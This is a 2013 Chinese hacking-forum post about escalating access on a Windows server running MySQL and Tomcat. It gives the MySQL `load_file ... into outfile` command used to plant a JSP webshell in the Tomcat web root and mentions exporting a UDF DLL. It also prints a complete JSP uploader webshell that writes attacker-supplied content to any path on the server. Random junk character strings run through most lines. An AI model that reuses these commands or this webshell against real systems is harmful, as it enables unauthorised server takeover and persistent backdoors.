找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2383|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
# W9 Q: k, b! E" s
# T( ?! @1 |* \0 K首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
" R. c) D- V: S  _- d( d9 V% B) a! Y安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
  l7 p+ g5 h3 B3 v4 m& ~; |  G! I提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
- B, [5 k! M% [1 show variables like '%plugin%';7 B3 K* x. V: a. d. W5 F
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功. c' p) k: Z, I$ d
创建自定义函数似乎被拦截,一直失败。
0 D& r4 w/ V, I, u后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限% L+ x. o  M4 w; }! m: X
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp3 b' n$ K0 i/ [) P" `) _
用mysql执行语句:4 {, ~! `0 l9 a
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'3 @% c; Z# C9 k7 x
2 复制代码
8 f9 ?5 ~5 n0 l; W5 h1 b% I后成功。7 t* Y/ N3 W6 U  u  g/ i
但是访问后得到如下提示:5 b/ k) d* b1 u
​500页面2 c) M/ ~+ U8 X
% R/ ~8 f0 W1 P& M

* l& }# b; W) u& \; {明显是MySQL的Win下版本自动添加转义符\n\r了4 g% I, S4 j. R
这样导致程序运行的悲剧。) c0 B2 h2 y4 h3 r% H2 y
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。5 W5 t0 z+ [4 j; q) Y9 w! H
最后弄了这么个小脚本:
5 ~5 V' b3 U4 f1 Y5 L1 [- e01 <%@ page language="java" pageEncoding="gbk"%>$ L) `! d" [" c
02 <jsp:directive.page import="java.io.File"/>" f1 }0 p6 K$ _0 u% E
03 <jsp:directive.page import="java.io.OutputStream"/>
8 {) v" f3 y( D; S6 n$ K04 <jsp:directive.page import="java.io.FileOutputStream"/>/ q: E# G$ M/ X3 U' `: C
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>% G  v. ]; ~  N. I" c9 w3 X7 e, x
06 error www.2cto.com4 t! ]: i' r( M" D# d* J
07 <%}}if(i==0){%>
& X: Z! M: X4 f% j- |* R08 ok
5 C: j9 U- d0 U- _. ^& y7 r$ I5 ^09 <%}%>
# @+ r: b$ {; V6 h7 \10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
6 E" _! G; J* B: J# _2 [  ~就可以避免转义符让JSP的马儿运行500错误了。
) k) v  C: |" b, ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表